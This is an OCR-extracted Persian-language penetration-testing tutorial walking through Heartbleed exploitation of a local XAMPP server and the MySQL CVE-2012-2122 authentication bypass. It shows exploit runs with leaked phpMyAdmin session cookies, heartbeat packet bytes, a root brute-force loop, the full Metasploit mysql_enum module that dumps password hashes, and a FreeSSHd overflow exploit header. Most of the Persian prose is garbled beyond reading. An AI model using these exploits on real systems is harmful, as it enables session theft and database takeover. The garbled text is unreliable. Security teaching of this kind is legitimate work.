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CVE-2014-0221 | CVE-2014-0160 | CVE-2012-2686
CVE-2014-3470 | CVE-2013-4353 | CVE-2013-0166
CVE-2014-0198 | CVE-2013-6449 | CVE-2013-0169

5 g 00 OpenSSL aiva o do_ssI3_write xb 4 by o CVE-2014-0198 (¢ 53 ol Do
020 Spdcam] (owyp a0 Jad pl o Lo aiS o ol NULL S jlil G 5l eoliiul b 1) DOS ales>
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ol 5l Alis cl 0,8 il o 1, alisls 5l ol Lidu e Jae LS5 L Lol el il L6 alasl> 5|
395 g0 Yozl (CUlol g Sledlbol Sie) il alibls 5 age SAMLI 51 45 ol Copanl L8 g
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o yad CA L jgpw cogar oS @ olsin Yl a5 wloads eow ol 31 3l ae <ol and Exposures
Vo) Jlo 5l glaasens 5o g pdyaaml onl ano plodl 1, 157l adlys (o8 g i Lol oS lay

D510 dg>4
OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable
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XAMPP Control Panel v3.2.1

Modules
Service Module

Apache
MySQL
FileZilla
Mercury

Tomcat

PID(s) Port{s) Actions

1604 80,443 | Stop ||

2364 3306 | Stop ||

14:33:22 [main]
14:33:23 [main]
14:33:54 [main]
14:33:54 [main]
14:33:54 [Apache]
14:33:54 [Apache]
14:33:54 [mysql]
14:33:54 [main]
14:33:54 [main]

KAMPP Installation Directory: "c-wamppl”

Checking for prerequisites

All prerequisites found

Initializing Modules

KAMPP Apache Service is already running on port 80
FAMPP Apache Service is already running on port 443
KAMPP MySQL Service is already running on port 3306
Starting Check-Timer

Control Panel Ready

ol amio — XAMPP wals 1) S

MySQL 5 Apache cwud g0 o Start g9, » cplplo wuS Lzl |y by b sl 5L Lzl 5l e
oS sl o] Judo 0925 1> Apache Jg 05i [>! MYSQL a5 s s 9925 (! Jleits! .0uiS o0 SLIS

S SLUS Netstat g, o > opl o conl (6,50 asbp Lzl o b atws Apache o35 i &g

Sl Ae g TFY &g a5 05 canline olgi oo aolip gomil bclls puales 1)V S0 s>l o

ol sl 1)) S Wl coles o 9,5 121 1|, MySQL L Apache

N
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Active socket | [JiBwsoekeny ICTEEE
Address Port "
PublicWiFiSe

vmware-authd_exe

wmware-authd_exe
127.0.01 BSIV_SVC.EXE
127.0.0.1 esmnv.exe
127.0.0.1 hsscp.exe

Allmyapps._exe
0.0.0.0 Dropbox.exe
127.0.01 Dropbox.exe
127.0.0.1 Dropbox.exe
192.168.99.0 Dropbox.exe
127.0.01 UNS exe
0.0.0.0 Skype.exe
192.168.99.0 Skype._exe
192.168.99.0 Skype.exe
192.168.99.0 Skype.exe
192.168.99.0 Skype.exe
192.168.99.0 Skype.exe

5y smlie lgiie |y ) ksl 3 1y s oS Liliee caslyy cdls ol 5 — XAMPP 3 Netstat asb, ¥ S5

w5 oo http/localhost/ w,ol 4 g g oo ;5 55,0 3,15 Yl

B SE2RM01G0 % | a0 CVE-CUEZDNS ® | - CVEXDMOIE0: x| o7 Heanblsed Bug % | < ingeolWED) e § ] HAVDR 1R xR )
Lo & M | ) lecalhastizanpn '\_ E. d =

Welcome to XAMPP for Windows!

LR AT Ry ==
e haww s cwanlully ins ol XAHEE cm This wys ]
. ily Muwy g can shart using Apache avd So, Yoo shoul] fr ey s5tabuse onthe lef reigation o maks sue sosrsthing wores
Tcamsntation fine,
Components
For Doen55L suppars pleass use tae test cerbficae with hitps: 13700 1 o bhps: Aocalbset

Faad luck, Koy Vagelgesang + K21 Cosald’ Sadler
Trstall dpppalicatioms om XARMPP psing ilNami
Apacna Friends and Ertlami ana conoarating to mae dozans of opan BoLNTE apploations avalabks on SAMPR, Tor fraa.

Eitam -packaged asaications incude wordprass, Drupal, Jooma ' and dozens of cthers anc can b= degloyvad with ona-dd
instalers. ikt the Bitami xaHPP pacs for detals an the muirently availabls sppa.

IR SE T )

— e v e’ e

53950 > XAMPP Lol doxis ¥ S

'Y


http://localhost/
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sl L 00ge 1 )5S el 5 alalyiay osliial 4isS o dle 5 ol DSl cotal 6l caz 4o igeel Byo Li)l5S ol o

bgi olsisn 5 0 o Sty |, HTTPS XAMPP (53 iy j5b @ 955 oa osaline o5 jghailen

2,5 ax>l e o] & https:/localhst/ el

S o 4> 0 http://localhost/phpmyadmin . ola oS ool

B cve-201 x ¥ s CVE-CV x T [f CVE-201 x [E] xamPP 1 x

it localhos x A\
= € A [ localhost/phpmyadmin/indexphp?db==&table=&server=1&rarget=&tokei vy | & e =

phpMyAdmin|— & -
S8lz00 6

(Recent tables) ¥

-

i Databases [] SQL | (§, Status == Users [ Export | =} Ilmport ¥ More

| infarmation_schema
| mysq|
| performance_schema

& Change password

= Server connection collation @) -

utfémb4_general_ci

M |

Server: 127.0.0.1 via TCP/IP
. Servertype_ MySQaL

+ Server version: 5.6.16 - MySQL
Community Server (GPL)

+ Protocol version: 10
+ User: root@localhost

Appearance Settings » Server charset: UTF-8 Unicode
(utfd)

& Language @ :| English "|
@ Theme: Web server
« Apache/2 4.7 (Win32)

« Font size:
OpenSSLM.0.1e PHR/S.5.9

#° More settings » Database client version: libmysqgl -
mysglnd 5.0 11-dev - 20120503 -

) m
phpMyAdmin asb ¥ |5

S e 5L ) 25 b
C:\xampp\phpMyAdmin\config.inc.php
Sleulas el php cov 4ol S phpMyAdmin 5> <ol phpMyAdmin oledas L6 )
oy 4 pay)]
28 eolaw! config.sample.inc.php

Oleio BB 3l (Lasws 5l san j0) o)l sgzg LB pl 31 0g wnles> PHP

(03l e Cyeod 10 5l el e b ciann) a8 Jlasl | 5 &l s
$cfgl'Servers'] [$i] ['auth type'] =
Scfg['Servers'][$Si] ['AllowNoPassword'] = true;

'cookie';

G el L 5l b pl esS oo 5L axans o )Lgo 9 (Jog out) ouis z,1> phpMyAdmin jl e

L aid wlgs co o)l jgue 5o, TOOE 5 MySQL jo 51 > oyl 0 (0 JSK&) 9,5 jsue 3o, 9

VY


https://localhst/
http://localhost/phpmyadmin
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phpMyAdmin

Welcome to phpMyAdmin

-

| English

-

Username:

| root

Password: |

Slebss el 5 phpMyAdmin «Jgl asiws 0 JS

3,5 ool https://localhost/phpmyadmin ol

ol €Xploit Cug Yl o ales Slelass

Heartbleed (s ydscumw! 31 g 10000 V.5,Y
by a3k Lol gl Logs 5 0uS il 1, exploit o8 Yol oeps plosl IS 95 a5 el ks S ol 6l
Ol &l g @m0 8L o hittp://www.exploit-db.com/exploits/32745 sl 51, s 5o ge oS

oS o e g 35b10 5 yol oo Uas ¥ sladsuns (g, oS oo oolitwl 2.7.% a5l |

https://www.python.org/download

\Ai


https://localhost/phpmyadmin
http://www.exploit-db.com/exploits/32745
https://www.python.org/download
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Microsoft Windows [UVersion 6.3.76801]
g} 2013 Microsoft Corporation. All rights reserved.

C:sWindowsssystemd2 >cd c:“Python2?

c = Python2?>dir
Uolume in drive C iz Windows
Uplume Serial Mumber is DEZE-C3F4

Directory of c:“Python2?

2014-A6-280 B1:57 <DIR> -
2014-06-28 ©@1:57 <DIR> .-
2014-A6—-17 14:87 <DIR> DLL=
2014-06—-19 14:87 <DIR> Doc
2014-A6-18 21:43 5,124 hearthleed.py
2014-86-28 ©2:44 11,812 hearthleedl . py
2014-A6—-17 14:87 <DIR> include
2014-B6—19 14:89 <DIR> Lib
2014-A6—-17 14:87 <DIR> libhs
2013-A5-15 22:55 40,078 LICEMNSE.txt
2014-#6-280 14:37 1.852 log.txt
2013-A5-15 22:41 359.882 NEWS _txt
2013-A5-15 22:44 27.136 python.exe
2A13-A5—-15 22:44 27.648 pythonuw.exe
2013-A5—-15 22:41 L4,.97? README. txt
2014-B6—-19 14:87 <DIR> tel
2014-A6—-18 21:42 L-.662 test.py
2014-86—-1% 14:87 <DIR> Tools

9 Filed(s> 534.193 hytes

? Dirds> 34.68B,.126.976 hutes free

c:~Python2?>_

S99 o cmd sll s s

s g 0 gl e85 19 5 . 0uiS o 3L administrator . xws b |, command prompt Y-

oS o el 1) 25 s g ools S Lol les ,o wlos,S ssbils a5 |, exploit J
c:\Python27>python.exe heartbleed.py 127.0.0.1
55 3l mailel oo oS g0 0alive |y (g)l0 0 sk (9> Sl o
c:\Python27>python.exe heartbleed.py 127.0.0.1 > log.txt

00,0 @S 5L 1y BB cpl F1.0,.5 I3 logtxt LB o 29,5 b eSS colaiul

Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
..received message: type = 22, ver = 0300, length = 94
..received message: type = 22, ver = 0300, length = 429
...received message: type = 22, ver = 0300, length 203
...received message: type = 22, ver = 0300, length = 4
Sending heartbeat request...
..received message: type = 24, ver = 0300, length = 16384
Received heartbeat response:
++ f+ oy :++++D8 03 00 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
:+*)YBC 2B 92 A8 48 97 CF BD 39 04 CC 16 OA 85 03 90 .+..H...9.......

VO
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phpMyAdmin axis ,o S1.cwl ools &wly heartbleed cuulgs o @ jgpm pim oo puiS 85 S

10 ewples log.txt s

Eile Edit Format View Help

@lc@: 55 53 2C 65 6E US,en;q=0.8,fa;q
81de: 3D 38 2E 36 @D =0.6. .[0es: pm
81leB: 61 5F 6C 61 bBE a_lang=en; pma_c
81f8: 6F eC 6C 61 74 ollation_connect
82e8: 69 6F 6E 3D 75 ion=utf&_general
8218: 5F 63 69 3B 20 _ci; pma_mcrypt_
B228: 69 76 3D 54 41 1v=TAAFTFKIPCLES
8238: 44 3B 28 70 6D D; pmalser-1=3uw
248: 75 58 25 32 42 uPX2Bz8Hywik3D; p
B258: 68 78 4D 79 41 hphyAdmin=m7fbgl
@268: 75 69 63 6D 73 uicmsmed2gagkssr
@278: 75 39 63 68 6B u9chkms782; pmaP
B288: 61 73 73 2D 31 ass-1=uZ¥oDrmlNj
8298: 38 25 33 44 3B 8%30; pma_navi_w
B2a8: 69 64 74 68 3D idth=178

ooliiwl s 5| 508 505 9 (L GRIIS (9 5 meiier SS90 50 9 pldeen |y L SeS pled Yl
slvmware & ,b 5l e (lg oo 00,5 (o0 H mimms G50 ilosl opl 0 Lo 4 (105 EB5 0iS o
L_sg:é:l FAYV,e o) Gl cdls )l o aoio |y o 565 5 ol Jog pimam ued 4 500 pliaew SO
b oo Lol G oee 2Bl 00l 0y (6508 s 5| e Wil oo (> oS (o0 c0liinl (b5 pans
S 5 olol les 63 oste o5 ol Cal o 3 33z B 55 Spben sy HTTPS amio o5, o5
cpl 5o il ool Jog HTTPS L &S 6,50 colw ,o 0L phpMyAdmin o oldee 4 o op 5]

el o s JB 25N S (2 g (e SS9
Cawryd 9 28,8 Lzt o 1) MySQL vy pled g5 o0 s (5,15 0,00 phpMyAdmin gy, 45 V>
onl aalsl j3 0,95 o 4,5 3550 (pl 40 o2 MYSQL Ll el OpenSSL (s pdscww! s opl a5 ol

M‘s‘ow AﬁS‘Sﬂ )15 6)"))'."’)'95‘ ‘SJJJJAMT U"‘ ‘):>94.»5§.> as

15 30 0 A5 Judzxi 1,8,Y
QB 5 505 il o 5 Sl l LS a5 ol PYHhON ooles oS Sy 45 0,55 o ouplice a8 o0 |, o 51

09...»‘59 ‘al.?u‘ 2 ul.».l.o& QT 5O aS Ceul C;).m\aw—‘ hearbleed Lg).n.\.»wT @‘5 5O ishelcode d.agf)."b

\F
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3l e w0l g 1 bl sl (gl 3Y ] ol (Gt s34 ply 3 Jly) )

5,5 3l 1y 0ols 53 e ol o3Y
Client — Server: send me ‘hello” word (Sbytes) if you there!
A el pdycanl 5w a5 Saagd Glgi e sl 5, 51 Y
Server — Client: ‘hello’
S e oolial T 5 alinsl b 4 4 595 oo oyl 6,5e8 Cesls s Vs Y
Client — Server: send me ‘hello” word (500 bytes) if you there!
Ol sy So el ¥
Server — Client: ERROR
Ryl gy el O
Server — Client: ‘hello....Sever authentication ... 552 33 cookei ...’

el 0ols lias pmsls |, cllae wikipedia 5l azd )5, 5 IS

%) Heartbeat - Normal usage

Server, send me

this 4 letter word
if you are there:
"kird"

W Heartbaat = Maliclous usage

Server, send me
this 500 letter
word if you are
there: "bird"

hird. Server
master key |5
3143149E531054.
User Carol wants
to change
password bo
“password 1237

heartbleed )2 oaléswl £gm dm).lo R% JSw

Olgise ) dn s Casdge S 51 e 15 )0 9250 DMl p gl oy 10 S5 o alaxde a5 j5b e

S,5 cdb o

VY
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el Lot o0ge 5 ol ) alblgmay ooliiul wsF o Cilss 5 Conl SleMbl Cortal G, gz 45 (el By (3l55 cnl Bon

Sls b 4 ) el AN o] ) S0 o5 sl b F 6lls 35 cpl waS e gy | 05 Vs
iwalos ;S )55 15 aims oo ploxl 45 (6315 g @i (slol 2y S99z )0 maslon e
Sleles 7,4 &b el
Moo S oo Jod syl ar |y oF g il o anin) Sy &5 0l
‘650D 0A 41 63 63 657074 3A° — Accept:
&S oo b Hex Sl glai; a1y g b al, G g 00,5 Jos J8 & Se hexdump
3 S gl ST 0gd e eolinal Jlol 5l an & cnl length Job b zaly <8l o

8L 50 ely (il pdcww]) all i 51 05d e 0dils,5 s none wib length  recvall

h2bin

RUSKIP )

Job b LY i a8 o ol 1) ploply Tecvall ol (29,5 4 425 b &b (0l
recvmsg

ICL PP PESJURTS (CTol'2:11 I ¥ L P

O ygo 50 g 4iS dlas 6 pdicaml 9929 5l 9 Cow 4 din S Loyl b &l _
i hit_hb
.J;fuf ﬁy$|b‘J‘Ua5
S Jlasl e S pb a 0gd o 3L ES g S bl )l (gl Tacl Saudl o Sl 4> main &b o Ll
recvmsg a5l oolatwl b ogd g0 Jlu )l conl oals 03,91 (5,0 y10 400 95 395 43 )] (Slgime a5 At
Sl ploy sl b g @S 9,55 (ol a4 b a5 Gloj U025 o0 18 (om0 9550 CSom b (poix
G oo lao |, hit_hb &b 5 05,5 cél o sys.stdout.flush() ,gws L1, S sled Ll )0 oy (LS
<l o 1) aladls 5l cidu wendlsl Lo g 05 pdycaml jg ) D9 He5 000 (8L )0 Jlade ol Dy s

hello = h2bin({

el ol )5 Gly (o (e
ol i 90 Jl)l bl ole
Gl ol a5 gyl
Cot Slaius pgd atws g hello loe o
L oS Colatnn G Jgl a2l hb (lgie
St o] piians puontd o ol Jlo)|

—

a2 ol |y
hb = h2bin( )

YA
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el 488 (18 550 lee hello atus (o

16
03
00
01
00
03
53
9d
bd
[ ]v]
00
a0
[ ]v]
11
a0
11
11
0o
01
00
0o

00
00
00
00
00

18
03
00
01
40

0z
de

00
02
43
9b
39

66
14
87
1b
1f
Oe
02
08

0b

Oa
0b
06
01
23

02
03

00

dg

5b
72
04

cl
<]
00
cl
<]
00
00

00

00
0o
00
00
0o

90
0b

oo

Oa
0of
16
le
04
05
06

na

34
Oc
o7
0z
0o

Handshake

TLE wversion 1.1
Length
handshake type
Length

bo 0o bo

16

al
a0
00
00
00
00
00

Oa

22
05
13
33
2f
04
03

85

0
00
a0
00
00
00
00

2b
03

21
35
od
32
96
15
££

03 00 01 02

00 32 00 0De

00 18 00 09
00 14 00 15
00 03 00 O£

92
90

00
00
<11
00
00
00

00
00
00
00

(Client hello)

a8
9f

39
84
03
9a
41
12

0d
Oa 00
04 00
10 00

48
77

oo
<]
o0
oo
<]
o0

00

97 ef

04 33 d4 de

38 00 8B

12 o0 08 <0 1lc
Oa c0 13 <0 09
99 00 45 00 44
11 @0 07 <0 Oc
09 00 14 00 11
19

16 00 17 00 OB
05 00 12 00 13
11

TLS record is a heartbeat

TLS wversion 1.1

Length

Heartbeat regquest
Payload length (16384 bytes)

TLS Version 1.1

Timestamp

Random bytes
Length of session id

Length of cipher suites

Cipher suites
Length of compression methods
Compression methed NULL (ie neo compression)

Eliptic curve point formats extension

Elliptic curve

TLS session ticket

:w%)L>Iﬂ3 LW 9

as > a5l Lol Colild 5 aisS so atine |y ey G 1add aools 0l 05l 0 ala>Dlo a5 ol jlen

ol 5V el Lo ol & g wigd Jlo) el 1,3

http://www.westpoint.ltd.uk/blog/2014/04/14/understanding-the-heartbleed-proof-of-

/concept

L;*g‘oAi;dléjf

Aol aLsls sy 4 5L aS ol ol mlaw dlwgaS B8l 5l ol (pl g3

http://www.ictpishro.com/webtakhasosi/31-ssL.html

\4


http://www.westpoint.ltd.uk/blog/2014/04/14/understanding-the-heartbleed-proof-of-concept/
http://www.westpoint.ltd.uk/blog/2014/04/14/understanding-the-heartbleed-proof-of-concept/
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el Lot o0ge 5 ol ) alblgmay ooliiul wsF o Cilss 5 Conl SleMbl Cortal G, gz 45 (el By (3l55 cnl Bon

bl 9 el oy, )FF
S ploazs 51 LT ogd o0 drogs ygpm 0y Glrde 4 gy 4 alsPl sladeds 5l 6,5 ol s
STL g« OpenSSL 1.0.1goos aross jiulpg aile S solatw! ail o el JSS! pl a0
L 890 J55 4 (oou08 slaasuas duzme hloolS b atili oo Cansi ool 2 (lisl sl (Gl 590 Ol
¢ |, Heartbeats 3l « LolS o3 ,o DOPENSSL_NO _HEARTBEATS- s 3l ooliceal
005 b ls Sl en iz anle il JI8le 5 Sle 5o 4 (See ploj (gl yo 5 anST L
‘LQJ.A) ‘L:a.x.JS ssle d"l““} Sleds| GALN MLGA \'“""“'M w.;..o‘ (S’L’)L’ st.: U"‘ > 05))& Juw)l.: ails
tdels Wigds Larges b aS Sledlbl gl aiess g Sb a8 s (token)la Sy g o S'sS

05550 Wl 58 S8y & Jlail 85 pogan g seges Sl slals e

g bl Toaze Wb oS I b bLs | s sls certificate oolos  ®

A9 b 09,00 Wl (285 18 ales 090 Jlaiol oS e jg s (535 2 09790 (Sa0 5 (b3 @

Spe a5 Wi ol S ol slolis 6l loriSell s baslyy el oyi oyl ololids 5l any

B9 9y 4 e 3 Sl ooliinl 093 (6layg (53 2 058> (nl (et (sl gl I il s Loy s
il oo b5l ol ol 53 o) aigles S ol (55 o 5l 4 pldl

https://github.com/rapid7/metasploit-

framework/blob/master/modules/auxiliary/scanner/ssl/openss] heartbleed.rb

http://amn.bayan.ir

https://www.ssllabs.com/ssltest/

http:/filippo.io/Heartbleed/

http://possible.lv/tools/hb/

https://blog.lookout.com/blog/2014/04/09/heartbleed-detector/

https://lastpass.com/heartbleed/
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CVE-2012-2122 iy ol .Y.)

JALQJT.:MJsﬁdsmL;bng;:}j,_:.qf\w)jﬁjwa\ybgrsfdsmdhggrf\
T 5l 0 wus LMYSQL ous ol T sdes s Lol &l s b neexploit-db.com <l
54 i sl s ST CVE-2012-2122 45 8  LMySQL s <y fluST1 s 5 osle 3154
CVE-2012-2122 ¢ ,ds T

Sergei Lug & 55 MYSQL s 65y o (5 a8 51 (S Ol 4 6y T
Q&L?-j&))ﬁ&TJg:gb\:ﬁ—le c+127 CJ’:‘fUl{JJGU 2 s M g 4 deT
e ME Dy ol i o sl ) > el &) o s o b (Sl aigr Gla () g
tslie 5 Silo digs ean Jdo @0l (5l o s polie 1) s 4 L ) gy deslie s 4 o et 4 LS
Cos LS J 38 1y olzdl 3 g 5 355 Il au\&mw&”;),f&imw"ﬁﬁuﬁ
)jjw‘ticp.ﬁ")ﬁ&w\"' wt@:—‘)bo‘};’aﬂ)f‘f‘bb}&@ubd‘sﬁﬂw”’b' 4:&5_1.[

::;O:?Y

$ for i in “seq 1 1000°; do mysql -u root --password=bad -h 127.0.0.1
2>/dev/null; done

mysqgl>
Dy edd ol b3 6l olo 0 (655 5 ks T !
e Ubuntu Linux 64-bit ( 10.04, 10.10, 11.04, 11.10, 12.04)

e OpenSuSE 12.1 64-bit MySQL 5.5.23-log Debian Unstable 64-bit 5.5.23-2

o Fedora
e  Arch Linux (unspecified version)

<t 1L, MySQL 5.5.22 ol s ¢35 gy 4 o ghaST| opl o8 ST (o dalie o3 IS5 5o

! ob;w

Yy
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File Edit WView Search Terminal Help

password: YES)

ERROR 1045 (28000): Access denied for user 'root'@'l92.168,102, 136' (using
password: YES)

ERROR 1045 (28000): Access denied for user 'root'@'l192.168.102.136' (using
password: YES)

ERROR 1045 (28000): Access denied for user 'root'@'l192.168.102.136' (using
password: YES)

ERROR 1045 (28000): Access denied for user 'root'@'l192.168.102.136' (using
password: YES)

Welcome to the MySOL monitor. Commands end with ; or \g.

Your MySOL connection id is 4370

Server version: 5.5.22-0Oubuntul (Ubuntu)

1Y

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserve
d.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
oWners,

Type 'help;' or '\h' for help. Type '\c' to clear the current input statem
ent.

mysql>

j"}'ﬁjjbg)}]mm@‘aMd}jMYSQL5617)\?,'?ﬁy}‘é}jdﬁ%wTd"d‘S
IJ:lfLsncMUmJiS

* root@bt: -~

raat@bt: ~ ® | rootEbt: ~ b

Jf‘ff r}\.@x 29 S ‘_;T uﬂ)JT E) Sl \QY,\?/\,YY‘,\\'Q Jf‘}f MYSQL SR ‘_gT o-l.'..l oj}j: BE)
VAY, VP YY1 YA

mysql_login.rb)CVE-2012-0221 g »& cuw! .Y,

Y

'CJ”,wuw&mﬁg&oufaﬂ ou»\,\,:w;&%(.ua;g Kjii:a:b(_;ﬁ.iin
) ol osle & koS Wl g 05 Sbruteforce p.u\,:{ﬁtysg,ﬂ@Jﬁw\)o&‘@lﬁby

w\gu:iux;ﬁw,;wf4,.41>,,1,4L,>Cﬁ‘pg&&ww&u,”ﬂ&b@,m(w
r‘

2L Sl MYSQL 5L o5 6lols 55 8 05 (oo oo NamP ) s2s Ll o

Yy
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File Edit View Terminal Help

Crarting fuai 5T4 ( http://nmap.org ) at 2014-06-16 ©9:40 EDT
( dse = > at http://nmap.
i~# |:|

gTng)MYSQL 6@‘3306 )L Q)ﬁdbb\ﬁ)}ﬂ@@@MWY\{ﬁ}d.)b6)})4;&.&

Odks akes gl 55 o kST i Metasploit framework gl 1L o cpl 53 Jmidas o g o
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##
# $Id: mysgl enum.rb 14774 2012-02-21 01:42:17Z rapid7 $
##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.

# http://metasploit.com/

##

require 'msf/core’
class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote: :MYSQL

def initialize (info = {})
super (update info(info,
'Name ' => 'MySQL Enumeration Module',
'Description' => 2g{

This module allows for simple enumeration of MySQL
Database Server
provided proper credentials to connect remotely.

b

'Author' => [ 'Carlos Perez.
<carlos perezlat]darkoperator.com>' 1],

'License’ => MSF LICENSE,

'Version' => 'SRevision: 14774 s$',

'References' =>

[
[ "URL', 'https://cisecurity.org/benchmarks.html' ]

]
))

Y4



Ahmadian.blog.ir

ol Lo snge 1 155 ol 51 ailalsiay oslizl 458 10 Clse 5 el oMbl cotal 65| g o ogeel By o)J55 cnl G

end
def run
return if not mysgl login datastore
print status ("Running MySOL Enumerator...')
print status ("Enumerating Parameters")
# _______________________________________________________
#getting all variables
vparm = {}
res = mysql query("show variables") || []
res.each do |row|
#print status(" | #{row.join("™ | ")} |")
vparm[row[0]] = row[l]
end
# _______________________________________________________

# MySQL Version

print status ("\tMySQL Version: #{vparm["version"]}")

print status("\tCompiled for the following OS:
#{vparm["version compile o0s"]1}")

print status("\tArchitecture: #{vparm["version compile machine"]1}")

print status("\tServer Hostname: #{vparm["hostname"]}")

print status("\tData Directory: #{vparm["datadir"]}")

if vparm["log"] == "OFEF"

print status("\tLogging of queries and logins: OFEF™)
else

print status ("\tLogging of queries and logins: ON")

print status("\tLog Files Location: #{vparm["log bin"]}")
end

print status ("\tOld Password Hashing Algorithm
#{vparm["old passwords"]}")

print status("\tLoading of local files: #{vparm["local infile"]1}")

print status("\tLogins with old Pre-4.1 Passwords:
#{vparm["secure auth"]}")

print status("\tSkipping of GRANT TABLE:
#{vparm["skip grant tables"]}") 1if vparm["skip grant tables"]

print status("\tAllow Use of symlinks for Database Files:
#{vparm["have symlink"]}")

print status("\tAllow Table Merge: #{vparm["have merge engine"]1}")

print status ("\tRestrict DB Enumeration by Privilege:
#{vparm["safe show database"]}") if vparm["safe show database"]

if vparm["have openssl"] == "YES"

print status("\tSSL Connections: Enabled")

print status ("\tSSL CA Certificate: #{vparm["ssl ca"]}")

print status ("\tSSL Key: #{vparm["ssl key"1}")

print status("\tSSL Certificate: #{vparm["ssl cert"1}")
else

print status ("\tSSL Connection: #{vparm["have openssl"]}")
end

# Database selection
query = "use mysgl"
mysgl query(query)

#Account Enumeration
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# Enumerate all accounts with their password hashes
print status("Enumerating Accounts:')
query = "select user, host, password from mysgl.user"
res = mysql query(query)
if res.size > 0
print status("\tList of Accounts with Password Hashes:")
res.each do |row|
print status("\t\tUser: #{row[0]} Host: #{row[l]} Password
Hash: #{row[2]}")

end
end
# Only list accounts that can log in with SSL if SSL is enabled
if vparm["have openssl"] == "YES"
query = %Q|select user, host, ssl type from mysgl.user where
(ssl _type = 'ANY') or
(ssl type = 'X509'") or
(ssl type = 'SPECIFIED') |

res = mysqgl query(query)
if res.size > 0
print status("\tThe following users can login using SSL:")
res.each do |row]|
print status("\t\tUser: #{row[0]} Host: #{row[1]}
SSLType: #{row[2]1}")
end
end
end
query = "select user, host from mysqgl.user where Grant priv = 'Y'"
res = mysql query(query)
if res.size > 0
print status ("\tThe following users have GRANT Privilege:")
res.each do |row|
print status("\t\tUser: #{row[0]} Host: #{row[l]}")
end
end

query = "select user, host from mysgl.user where Create user priv =
'Y'H
res = mysql query(query)
if res.size > 0
print status("\tThe following users have CREATE USER
Privilege:")
res.each do |row|
print status("\t\tUser: #{row[0]} Host: #{row[1]}")
end
end
query = "select user, host from mysgl.user where Reload priv = 'yY'"
res = mysql query(query)
if res.size > 0
print status("\tThe following users have RELOAD Privilege:")
res.each do |row|
print status("\t\tUser: #{row[0]} Host: #{row[l]}")
end
end
query = "select user, host from mysgl.user where Shutdown priv =
'Y'"
res = mysql query(query)
if res.size > 0
print status ("\tThe following users have SHUTDOWN Privilege:")
res.each do |row]|
print status("\t\tUser: #{row[0]} Host: #{row[l]}")
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end
end
query = "select user, host from mysqgl.user where Super priv = 'Y'"
res = mysql query(query)
if res.size > 0
print status ("\tThe following users have SUPER Privilege:")
res.each do |row|
print status("\t\tUser: #{row[0]} Host: #{row[l]}")
end
end
query = "select user, host from mysqgl.user where FILE priv = 'y'"'"
res = mysql query(query)
if res.size > 0
print status("\tThe following users have FILE Privilege:")
res.each do |row|
print status("\t\tUser: #{row[0]} Host: #{row[l]1}")
end
end
query = "select user, host from mysgl.user where Process priv =
'Y'H
res = mysqgl query(query)
if res.size > 0
print status ("\tThe following users have PROCESS Privilege:")
res.each do |row]|
print status("\t\tUser: #{row[0]} Host: #{row[1]}")

end

end

queryinmysqgl = %Q] select user, host
from mysqgl.user where
(Select priv = 'Y') or
(Insert priv = 'Y') or
(Update priv = 'Y') or
(Delete priv = 'Y') or
(Create priv = 'Y') or
(Drop priv = 'Y')|

res = mysql query(queryinmysql)
if res.size > 0

print status("\tThe following accounts have privileges to the

mysqgl database:")
res.each do |row]|
print status("\t\tUser: #{row[0]} Host: #{row[l]1}")

end

end

# Anonymous Account Check
queryanom = "select user, host from mysqgl.user where user = "'"'"
res = mysqgl query(queryanom)
if res.size > 0

print status ("\tAnonymous Accounts are Present:")

res.each do |row|

print status("\t\tUser: #{row[0]} Host: #{row[l]}")

end

end

# Blank Password Check

queryblankpass = "select user, host, password from mysgl.user where
length (password) = 0 or password is null"

res = mysqgl query(queryblankpass)

if res.size > 0
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print status ("\tThe following accounts have empty passwords:")
res.each do |row|
print status("\t\tUser: #{row[0]} Host: #{row[l]1}")
end
end

# Wildcard host
querywildcrd = 'select user, host from mysgl.user where host = "$"'
res = mysqgl query(querywildcrd)
if res.size >
print status ("\tThe following accounts are not restricted by

res.each do |row|
print status("\t\tUser: #{row[0]} Host: #{row[I1]}")
end
end

mysgl logoff
end

end
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ith Password Hashes:
st: localhost Password Hash: *6BB483TERT
Host: ubumtu Password Hash: 6
#.1 Password Hash: *6BB4S
::1 Password Hast
maint Host: localhost Passwor

Password Hask

Host: localhost
ruser Host: %
following users have FILE Privilege:
User: root Host: localhost
: root Host: ubuntu
root Host: 127.8.8.1
root Host: ::1
debian-sys-maint Host: localhost
ruser Host: localhost
ruser Host: %
users have PROCESS Privilege:
root Host: localhost
root Host: ubuntu
root Hosti: 127.8.8.1
root Host: ::1
debian-sys-maint Host: localhost
ruser Host: localhost
[: ruser Host: %
following accounts have privileges to the mySgl database:
User: root Host: localhost
root Host: ubuntu
root Host: 127.8.8.1
root Host: ::1
debian-sys-maint Host: localhost
ruser Host: localhost
: ruser Host: %
The following accounts are not restricted by sourc
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Aol sy oty oS (b5 1) SSH 5,0 b 655405 55 655 2 S opl sl lp Izl o
05,5 eslitul 1) Calgl o L8 ST, MobaSSH

g Welcome to MobhaS8H Home - Installation and Configuration
{For personal use or evaluation purposes anly)

. " | 5 2
MobaSSH Installation m _ef) Vsers || {20 Setkings & About

MobaSSH server is not vet installed
' an this computer,
s welcome to MobaSSH (Home vi50)

Click th Lt | install Moba=s
U S DU S R e ke MobaSSH server is a GpenSSH based server,

our computer. MobaSsH will be installed as a e 5
Enrmal wli:‘ndnws N ¢/ It allows you to use any S5SH client to connect
to this computer,

You can also configure users permissions from
- " 1 - - n
the nght "Users" panel. With this installer, you can install, start,
¢ rmonttor or uninstall the Moba%5H service.

Installing MobaSSH as a service. ..
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FreeSSHd 1.2.1 (rename) Remote Buffer Overflow Exploit

Advisory: http://www.bmgsec.com.au/advisory/45/
Original: http://www.bmgsec.com.au/advisory/32/
Related : http://www.bmgsec.com.au/advisory/42/

Test box: WinXP Pro SP2 English

Exploit code for a wvulnerability I discovered sometime
ago in FreeSSHd 1.2.1. This code should be run from a
user titled "root", or adjust the payload for your
username. I1've left space for adjustments. Up to the
first six NOPs can be used (inclusive).

